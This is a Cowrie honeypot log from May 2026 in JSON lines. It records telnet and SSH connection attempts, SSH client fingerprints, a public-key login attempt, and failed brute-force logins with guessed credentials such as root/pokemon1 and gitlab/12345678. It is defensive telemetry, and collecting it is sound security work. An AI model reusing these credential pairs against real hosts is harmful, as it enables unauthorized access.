{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54768,"dst_ip":"10.17.0.5","dst_port":23,"session":"64852aec6170","protocol":"telnet","message":"New connection: 192.119.13.58:54768 (10.17.0.5:23) [session: 64852aec6170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:17.376508Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56184,"dst_ip":"10.17.0.5","dst_port":23,"session":"97d8df059d23","protocol":"telnet","message":"New connection: 192.119.13.58:56184 (10.17.0.5:23) [session: 97d8df059d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:17.740895Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56522,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8162070f95b","protocol":"telnet","message":"New connection: 192.119.13.58:56522 (10.17.0.5:23) [session: e8162070f95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:17.824758Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37554,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a5428b4aff","protocol":"telnet","message":"New connection: 192.119.13.58:37554 (10.17.0.5:23) [session: 90a5428b4aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:20.123761Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39816,"dst_ip":"10.17.0.5","dst_port":23,"session":"2047f8d4eafe","protocol":"telnet","message":"New connection: 192.119.13.58:39816 (10.17.0.5:23) [session: 2047f8d4eafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:20.591217Z"}
{"eventid":"cowrie.session.closed","duration":40.57089424133301,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:22.125724Z","src_ip":"192.119.13.58","session":"57ce9eb3853e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.193806886672974,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:27.466068Z","src_ip":"192.119.13.58","session":"b426a962045c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.72724795341492,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:30.080712Z","src_ip":"192.119.13.58","session":"547c621e3934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":59328,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad0c91e21ffc","protocol":"ssh","message":"New connection: 38.93.206.2:59328 (10.17.0.5:22) [session: ad0c91e21ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:38.843606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:38.848407Z","src_ip":"38.93.206.2","session":"ad0c91e21ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:38.908500Z","src_ip":"38.93.206.2","session":"ad0c91e21ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon1","message":"login attempt [root/pokemon1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:39.059434Z","src_ip":"38.93.206.2","session":"ad0c91e21ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:40.112687Z","src_ip":"38.93.206.2","session":"ad0c91e21ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42400,"dst_ip":"10.17.0.5","dst_port":23,"session":"47877a5dafbc","protocol":"telnet","message":"New connection: 192.119.13.58:42400 (10.17.0.5:23) [session: 47877a5dafbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:42.167996Z"}
{"eventid":"cowrie.session.closed","duration":44.643446922302246,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:46.775519Z","src_ip":"192.119.13.58","session":"243a09b04dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33148,"dst_ip":"10.17.0.5","dst_port":23,"session":"bef996c3d744","protocol":"telnet","message":"New connection: 192.119.13.58:33148 (10.17.0.5:23) [session: bef996c3d744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:46.955829Z"}
{"eventid":"cowrie.session.closed","duration":40.0648889541626,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:48.109781Z","src_ip":"192.119.13.58","session":"e9e73ad237e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.05654335021973,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:48.732210Z","src_ip":"192.119.13.58","session":"3ea96576b655","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.54918456077576,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:54.373792Z","src_ip":"192.119.13.58","session":"e8162070f95b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.581538677215576,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:28:59.705191Z","src_ip":"192.119.13.58","session":"90a5428b4aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59462,"dst_ip":"10.17.0.5","dst_port":23,"session":"45476f56fa0d","protocol":"telnet","message":"New connection: 192.119.13.58:59462 (10.17.0.5:23) [session: 45476f56fa0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:00.353611Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":60781,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9168a7a5cac","protocol":"ssh","message":"New connection: 103.24.63.85:60781 (159.203.135.109:22) [session: b9168a7a5cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:05.339732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:05.355577Z","src_ip":"103.24.63.85","session":"b9168a7a5cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51400,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb9e35429bf","protocol":"telnet","message":"New connection: 192.119.13.58:51400 (10.17.0.5:23) [session: 1bb9e35429bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:05.461376Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:05.547976Z","src_ip":"103.24.63.85","session":"b9168a7a5cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.429431438446045,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:05.805813Z","src_ip":"192.119.13.58","session":"64852aec6170","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54342,"dst_ip":"10.17.0.5","dst_port":23,"session":"8598e4d9ef58","protocol":"telnet","message":"New connection: 192.119.13.58:54342 (10.17.0.5:23) [session: 8598e4d9ef58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:06.234626Z"}
{"eventid":"cowrie.session.closed","duration":0.007433414459228516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:06.241899Z","src_ip":"192.119.13.58","session":"8598e4d9ef58","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"12345678","message":"login attempt [gitlab/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:06.358333Z","src_ip":"103.24.63.85","session":"b9168a7a5cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.13378643989563,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:06.724871Z","src_ip":"192.119.13.58","session":"2047f8d4eafe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":57364,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9dccc59245f","protocol":"ssh","message":"New connection: 176.65.148.108:57364 (10.17.0.5:22) [session: e9dccc59245f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:07.261566Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:07.347123Z","src_ip":"176.65.148.108","session":"e9dccc59245f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":57366,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0ed32e236df","protocol":"ssh","message":"New connection: 176.65.148.108:57366 (10.17.0.5:22) [session: c0ed32e236df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:07.425565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:07.430581Z","src_ip":"176.65.148.108","session":"c0ed32e236df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:07.513489Z","src_ip":"176.65.148.108","session":"c0ed32e236df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:07.574595Z","src_ip":"103.24.63.85","session":"b9168a7a5cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"12345","message":"login attempt [aaa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:07.771193Z","src_ip":"176.65.148.108","session":"c0ed32e236df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:08.857279Z","src_ip":"176.65.148.108","session":"c0ed32e236df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.72684383392334,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:09.467594Z","src_ip":"192.119.13.58","session":"97d8df059d23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.24936294555664,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:17.417240Z","src_ip":"192.119.13.58","session":"47877a5dafbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":64460,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d47da6b915e","protocol":"ssh","message":"New connection: 103.24.63.85:64460 (159.203.135.109:22) [session: 6d47da6b915e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:20.386317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:20.390607Z","src_ip":"103.24.63.85","session":"6d47da6b915e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:20.583982Z","src_ip":"103.24.63.85","session":"6d47da6b915e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55496,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f7f71584a13","protocol":"telnet","message":"New connection: 192.119.13.58:55496 (10.17.0.5:23) [session: 0f7f71584a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:20.665344Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:21.160808Z","src_ip":"103.24.63.85","session":"6d47da6b915e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:22.355399Z","src_ip":"103.24.63.85","session":"6d47da6b915e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39484,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b727fcbf662","protocol":"telnet","message":"New connection: 192.119.13.58:39484 (10.17.0.5:23) [session: 2b727fcbf662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:23.771948Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.161","src_port":58130,"dst_ip":"10.17.0.5","dst_port":22,"session":"36bebbb25de6","protocol":"ssh","message":"New connection: 208.87.242.161:58130 (10.17.0.5:22) [session: 36bebbb25de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.201405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.206705Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.282397Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:57:ff:68:36:93:27:b5:52:0e:17:12:20:8b:e5:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCulRo4z+nqK33HjW0QT28/qwRq+n9PO6Mrw0tLF5y3/HECTU0l17oi9FZIO4kcsHUEsjz/PTVQskk3o4K7T7/OQche9RM6fGJu0ZtqmO8perQh4sWOH26jDohKObRbjdD9L48bAJKemjYoRWiWzJR3ylaWkG0W9N9sfXcoxqQL8D39JapdXxf/Dg3l3mKtw1HTtHjgHI/VD+U7XLl7kpJ8NW6bpDDaq2FD3ZlWA8f82rIJdIkRWgDCGw229xV3cTKswNtnY56ihWU7pYJ/GM/tEib0JC6gh53nTjSyJpVxk3GEOohjjmNliE7fUmLIBAj2njEChiYWYqzFi4+Z2yKR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:57:ff:68:36:93:27:b5:52:0e:17:12:20:8b:e5:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.638848Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:57:ff:68:36:93:27:b5:52:0e:17:12:20:8b:e5:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCulRo4z+nqK33HjW0QT28/qwRq+n9PO6Mrw0tLF5y3/HECTU0l17oi9FZIO4kcsHUEsjz/PTVQskk3o4K7T7/OQche9RM6fGJu0ZtqmO8perQh4sWOH26jDohKObRbjdD9L48bAJKemjYoRWiWzJR3ylaWkG0W9N9sfXcoxqQL8D39JapdXxf/Dg3l3mKtw1HTtHjgHI/VD+U7XLl7kpJ8NW6bpDDaq2FD3ZlWA8f82rIJdIkRWgDCGw229xV3cTKswNtnY56ihWU7pYJ/GM/tEib0JC6gh53nTjSyJpVxk3GEOohjjmNliE7fUmLIBAj2njEChiYWYqzFi4+Z2yKR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:29:27.644082Z","src_ip":"208.87.242.161","session":"36bebbb25de6","protocol":"ssh"}
